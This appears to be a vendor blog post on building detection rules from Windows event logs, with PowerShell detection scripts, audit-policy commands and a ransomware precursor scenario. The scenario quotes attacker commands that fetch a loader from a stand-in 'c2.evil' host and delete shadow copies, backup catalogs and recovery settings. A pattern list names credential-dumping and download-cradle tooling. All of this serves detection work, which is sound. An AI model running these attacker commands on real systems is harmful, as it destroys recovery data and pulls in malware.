← All posts

Windows Event Log Forensics: Building Detection Rules That Actually Work

Your SIEM is drowning in noise while attackers hide in plain sight. Here's how to build high-fidelity detection rules from Windows Event Logs that catch real threats — failed brute-force attempts, privilege escalation, Defender tampering, and suspicious PowerShell — without alert fatigue.

Windows Event Logs are simultaneously the most valuable and most underutilized forensic data source on any enterprise endpoint. They record every authentication attempt, every service installation, every policy change, every process creation — a complete audit trail that most organizations barely scratch the surface of. The problem isn't data availability. The problem is signal-to-noise ratio.

A single Windows workstation generates between 5,000 and 50,000 events per day depending on activity level. A domain controller can generate 500,000+. At that volume, naive "forward everything to the SIEM" strategies create a firehose that buries critical alerts under mountains of benign noise. Detection engineering for Windows Event Logs requires understanding which events matter, why they matter, and when their context transforms them from routine to malicious.

This post covers the detection engineering approach built into WinSentinel's Event Log Analysis module — the specific event IDs, correlation patterns, and threshold logic that separate signal from noise.

The High-Value Event IDs Every Defender Must Monitor

Of the hundreds of event types Windows generates, a relatively small set provides outsized forensic value. These are the events that, when properly correlated, expose attack chains from initial access through lateral movement to data exfiltration.

Authentication Events (Security Log)

Authentication is where most attacks become visible — either through brute-force patterns, credential stuffing, or lateral movement using compromised credentials.

  • Event ID 4625 — Failed logon attempt. The single most important event for detecting brute-force attacks. Key fields: TargetUserName, LogonType, IpAddress, SubStatus (explains why it failed: wrong password, account locked, expired, disabled).
  • Event ID 4624 — Successful logon. Especially critical after a series of 4625s (successful brute-force). LogonType=10 (RemoteInteractive/RDP) from unexpected IPs is a top-tier indicator. LogonType=3 (Network) from workstation-to-workstation indicates lateral movement.
  • Event ID 4648 — Explicit credential logon. Someone used runas or passed credentials explicitly. Common in lateral movement when attackers use harvested credentials.
  • Event ID 4776 — NTLM credential validation. Critical for detecting pass-the-hash attacks where Kerberos isn't used.
# Detection rule: Brute-force pattern
# 10+ failed logons (4625) to same account within 5 minutes,
# followed by successful logon (4624)

$timeWindow = 5  # minutes
$threshold = 10

$failed = Get-WinEvent -FilterHashtable @{
    LogName = 'Security'; Id = 4625
    StartTime = (Get-Date).AddMinutes(-$timeWindow)
} | Group-Object { $_.Properties[5].Value }  # TargetUserName

$bruteForced = $failed | Where-Object { $_.Count -ge $threshold }
foreach ($target in $bruteForced) {
    $success = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'; Id = 4624
        StartTime = (Get-Date).AddMinutes(-$timeWindow)
    } | Where-Object { $_.Properties[5].Value -eq $target.Name }
    if ($success) {
        # ALERT: Successful brute-force detected
        Write-Warning "Account '$($target.Name)' compromised via brute-force ($($target.Count) failed attempts → success)"
    }
}

Privilege Escalation Events

Once an attacker has a foothold, they escalate. These events reveal the moment local admin or SYSTEM privileges are obtained:

  • Event ID 4672 — Special privileges assigned to a new logon. Fires when an account with admin-equivalent privileges (SeDebugPrivilege, SeTcbPrivilege, SeBackupPrivilege, etc.) logs on. If this fires for a non-admin account, you have a problem.
  • Event ID 4728/4732/4756 — Member added to a global/local/universal security group. Specifically watch for additions to Administrators, Domain Admins, Enterprise Admins, Schema Admins, and Backup Operators.
  • Event ID 4697 — Service installed. Malware frequently installs itself as a service to achieve SYSTEM privileges and persistence. Services spawned from temp directories or with encoded command-line arguments are almost always malicious.
  • Event ID 4688 — New process created (requires Audit Process Creation + Include command line in process creation events). The gold standard for detecting post-exploitation activity.
# Detection rule: Suspicious service installation
# New service + unusual binary path = persistence mechanism

$suspiciousPaths = @('\Temp\', '\AppData\', '\Downloads\', '\ProgramData\\.', 'cmd.exe /c', 'powershell')

Get-WinEvent -FilterHashtable @{ LogName='System'; Id=7045 } -MaxEvents 50 | ForEach-Object {
    $serviceName = $_.Properties[0].Value
    $imagePath = $_.Properties[1].Value
    foreach ($pattern in $suspiciousPaths) {
        if ($imagePath -match [regex]::Escape($pattern)) {
            Write-Warning "Suspicious service: '$serviceName' → $imagePath"
            break
        }
    }
}

Defense Evasion: Defender and Security Tool Tampering

Sophisticated attackers don't just exploit — they disable defenses. These events reveal when security controls are being neutralized:

  • Event ID 5001 (Windows Defender) — Real-time protection disabled. If this wasn't triggered by an admin during maintenance, it's an attacker clearing the path.
  • Event ID 5010/5012 — Malware scanning disabled / Defender service suspended. Same logic: unexpected disablement = compromise.
  • Event ID 1102 (Security Log) — Audit log cleared. This is always suspicious. Legitimate administrators almost never clear the Security log. Attackers clear it to destroy evidence of their 4625/4624/4672/4688 events.
  • Event ID 4719 — System audit policy changed. Attackers may disable audit policies to stop future events from being generated. If Process Creation auditing is suddenly disabled, the attacker is covering tracks for the next phase.
# Detection rule: Defender tamper detection
# Any Defender disable event outside a maintenance window = critical alert

$defenderEvents = @(5001, 5010, 5012, 5013, 5101)
$maintenanceHours = @(2, 3, 4)  # 2-4 AM = acceptable maintenance window

$tampering = Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-Windows Defender/Operational'
    Id = $defenderEvents
    StartTime = (Get-Date).AddHours(-24)
} -ErrorAction SilentlyContinue

foreach ($evt in $tampering) {
    $hour = $evt.TimeCreated.Hour
    if ($hour -notin $maintenanceHours) {
        Write-Warning "CRITICAL: Defender tampering at $($evt.TimeCreated) — Event $($evt.Id): $($evt.Message -split "`n" | Select-Object -First 1)"
    }
}

PowerShell Security Events

PowerShell is the #1 post-exploitation tool. Module logging and Script Block logging expose exactly what's being executed — even through obfuscation layers:

  • Event ID 4103 (PowerShell Operational) — Module logging. Records every cmdlet invocation with parameters. Catches Invoke-Mimikatz, Invoke-WebRequest to suspicious URLs, Get-ADUser enumeration, etc.
  • Event ID 4104 — Script Block logging. The most powerful single detection event. Records the full script text after deobfuscation. Even if the attacker encodes their script in Base64 and wraps it in three layers of Invoke-Expression, 4104 records the final decoded text that actually executes.
  • Event ID 400/403 (Windows PowerShell) — Engine lifecycle. HostApplication field reveals what launched PowerShell. If HostApplication is cmd.exe with an encoded command, that's suspicious.
# Detection rule: Suspicious PowerShell patterns in Script Block logs
# These patterns indicate offensive tooling, not admin scripts

$maliciousPatterns = @(
    'Invoke-Mimikatz',              # Credential dumping
    'Invoke-Kerberoast',            # Kerberos ticket extraction
    'Get-GPPPassword',              # Group Policy Preference passwords
    'Invoke-SMBExec',               # Lateral movement
    'Invoke-WMIExec',               # Lateral movement
    'New-Object.*Net.WebClient',    # Download cradle
    'System.Reflection.Assembly',   # In-memory .NET assembly load
    'VirtualAlloc.*VirtualProtect', # Shellcode injection pattern
    '-bxor|-band.*0x',              # XOR decryption (obfuscation)
    'AMSI.*Bypass',                 # Anti-malware bypass attempt
    'Set-MpPreference.*-Disable'    # Defender disable via PowerShell
)

Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'; Id = 4104
    StartTime = (Get-Date).AddHours(-1)
} -ErrorAction SilentlyContinue | ForEach-Object {
    $scriptBlock = $_.Properties[2].Value
    foreach ($pattern in $maliciousPatterns) {
        if ($scriptBlock -match $pattern) {
            Write-Warning "Malicious PowerShell detected: pattern '$pattern' at $($_.TimeCreated)"
            Write-Warning "Script: $($scriptBlock.Substring(0, [Math]::Min(200, $scriptBlock.Length)))..."
            break
        }
    }
}

Correlation: From Individual Events to Attack Chains

Individual events are informative. Correlated events are actionable. The real power of event log forensics lies in linking related events across time windows to reconstruct complete attack chains.

Pattern: Brute Force → Logon → Privilege Escalation

The classic credential compromise chain:

  1. 4625 × N — Multiple failed logons to one account (brute force)
  2. 4624 (LogonType=10) — RDP logon succeeds with same account
  3. 4672 — Privileged logon (attacker got admin)
  4. 4688 — Process creation showing reconnaissance (whoami, net user, ipconfig)
  5. 4697/7045 — Service installation (persistence)

Each individual event is weak. A failed logon happens thousands of times a day. But the sequence — 4625→4624→4672→4688→4697 within a 30-minute window against the same account — is nearly 100% confidence of compromise.

Pattern: Defense Disable → Payload Drop → Persistence

  1. 5001 — Defender real-time protection disabled
  2. 4104 — PowerShell downloads executable (Invoke-WebRequest)
  3. 4688 — New process from Temp directory
  4. 7045 — Service installed pointing to dropped binary
  5. 4719 — Audit policy modified (covering tracks)

Pattern: Lateral Movement via WMI/PsExec

  1. 4624 (LogonType=3) — Network logon from internal IP (not a server)
  2. 4672 — Admin privileges on the target
  3. 4688wmiprvse.exe spawning cmd.exe or powershell.exe
  4. 7045 — PSEXESVC service installed (PsExec artifact)

WinSentinel's Event Log Analysis correlates these patterns in real-time across Security, System, PowerShell, and Defender operational logs — building the complete picture that individual event monitoring misses.

Thresholding: Eliminating False Positives Without Missing Attacks

The difference between a useful detection rule and an alert-fatigue generator is thresholding. Raw event monitoring produces too many false positives to be actionable. Effective detection requires understanding normal baselines and setting thresholds that minimize noise while preserving detection fidelity.

Failed Logon Thresholds

A single 4625 event is meaningless — users mistype passwords constantly. But the threshold depends on context:

  • Interactive workstation: 5+ failures in 5 minutes is suspicious (user would reset or call help desk)
  • Service accounts: ANY 4625 is suspicious (service accounts don't mistype passwords)
  • Domain admin accounts: 3+ failures in 10 minutes warrants investigation
  • After-hours failures: Lower threshold (3+) since legitimate users are unlikely to be active

Process Creation Baselines

Event 4688 fires for every process. The key is filtering to suspicious patterns:

  • Process image path in unusual locations (Temp, AppData, Recycle Bin)
  • Encoded command-line arguments (-enc, -e, -EncodedCommand for PowerShell)
  • Multiple reconnaissance tools in sequence (whoaminet usernet groupipconfig /all within 60 seconds)
  • Process creation at unusual times (3 AM on a workstation that's normally idle)

WinSentinel's Approach

Rather than static thresholds, WinSentinel's Event Log Analysis uses adaptive detection:

  • Sliding window analysis — examines patterns within configurable time windows (default 5/15/60 minutes)
  • Account type awareness — applies different thresholds to service accounts vs. interactive users vs. admin accounts
  • Time-of-day weighting — events during business hours receive lower urgency than identical events at 3 AM
  • Correlation scoring — individual weak signals combine into strong indicators when they form known attack chain patterns

Enabling the Right Audit Policies

None of this works if the events aren't being generated. Windows doesn't enable comprehensive auditing by default. Here's the minimum audit policy configuration for effective detection:

# Essential audit policies for detection engineering:
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Security Group Management" /success:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable
auditpol /set /subcategory:"Security System Extension" /success:enable

# Enable command-line in process creation events (critical!):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# Enable PowerShell Script Block logging:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f

# Enable PowerShell Module logging:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" /v * /t REG_SZ /d * /f

WinSentinel's Event Log Analysis module checks whether these policies are active. If they're not enabled, the module reports it as a finding — because you can't detect what you're not logging.

Real-World Scenario: Detecting a Ransomware Precursor

Here's how event log correlation catches a ransomware attack in its preparation phase — before encryption begins:

Hour 0: Attacker sends phishing email with malicious Excel attachment.

  • Event 4688: EXCEL.EXE spawns cmd.exe (caught by Process Lineage)
  • Event 4104: PowerShell Script Block shows Invoke-WebRequest -Uri http://c2.evil/loader.exe

Hour 1: Attacker establishes persistence and begins reconnaissance.

  • Event 7045: New service WinUpdateSvc installed from C:\Users\Public\svc.exe
  • Event 4688: Rapid sequence of whoami, net user /domain, net group "domain admins", nltest /dclist:

Hour 2: Attacker disables defenses and moves laterally.

  • Event 5001: Defender real-time protection disabled
  • Event 4624 (Type 3): Network logons to 12 workstations from compromised account
  • Event 4672: Admin privilege assertion on each target

Hour 3: Ransomware preparation (this is where you must catch it).

  • Event 4688: vssadmin.exe delete shadows /all /quiet — deleting Volume Shadow Copies
  • Event 4688: wbadmin.exe delete catalog -quiet — deleting backup catalog
  • Event 4688: bcdedit.exe /set {default} recoveryenabled no — disabling Windows Recovery

WinSentinel flags all of these as they occur. The combination of Defender disable + VSS deletion + backup deletion is a critical finding that maps to ransomware precursor activity (MITRE T1490: Inhibit System Recovery). By the time you see this sequence, you have minutes — not hours — to respond.

From Analysis to Action: The Detection Engineering Lifecycle

Building effective event log detections isn't a one-time setup. It's an iterative engineering process:

  1. Hypothesis — "Attackers using WMI for lateral movement will generate 4624→4672→wmiprvse→cmd events"
  2. Validate — Test the hypothesis with attack simulation (Atomic Red Team, manual testing)
  3. Threshold — Determine what separates malicious patterns from legitimate admin activity
  4. Deploy — Implement the detection rule with appropriate alerting
  5. Tune — Monitor false positives, adjust thresholds, add exclusions for known-good activity
  6. Evolve — Update as attackers change TTPs (Tactics, Techniques, and Procedures)

WinSentinel automates steps 1-4 for the most common attack patterns. The module ships with pre-built detection logic for 15+ event correlation patterns, each validated against real-world attack data and mapped to MITRE ATT&CK.

Scaling Event Log Analysis Across a Fleet

Event log analysis on a single machine is powerful. Across a fleet, it becomes transformative. Attack patterns that are invisible on one endpoint become obvious when correlated across many:

  • Password spray detection — 1 failed logon per machine is noise. The same account failing across 50 machines in 10 minutes is a spray attack. Only fleet-wide correlation catches this.
  • Lateral movement visualization — mapping 4624 (Type 3) events across the fleet reveals the attacker's path through the network as a graph.
  • Defender tampering patterns — if Defender is disabled on 3 machines within an hour, that's coordinated activity — not three unrelated admin actions.
  • Baseline deviation — understanding what's "normal" for each machine class (workstation vs. server vs. DC) enables anomaly detection that per-machine analysis can't achieve.

WinSentinel Pro brings fleet-wide event log correlation. Each agent runs the Event Log Analysis module locally, then reports findings to the central control plane where cross-node patterns are identified. Password sprays, coordinated Defender disablement, and lateral movement paths that are invisible to individual endpoints become immediately visible at fleet scale.

Getting Started

Run WinSentinel's Event Log Analysis right now to see what your logs reveal:

# Install WinSentinel
dotnet tool install --global WinSentinel.Cli

# Run a full audit (includes Event Log Analysis)
winsentinel --audit

# Or run just the Event Log module
winsentinel --audit --modules "Event Log Analysis"

The module will check your audit policy configuration, scan recent events for suspicious patterns, and report any detection rule hits — from brute-force attempts to Defender tampering to suspicious service installations. Every finding includes the specific event IDs, timestamps, and MITRE ATT&CK mappings you need to investigate.

Stop forwarding raw events to a SIEM and hoping someone notices. Start detecting with precision.

← Back to top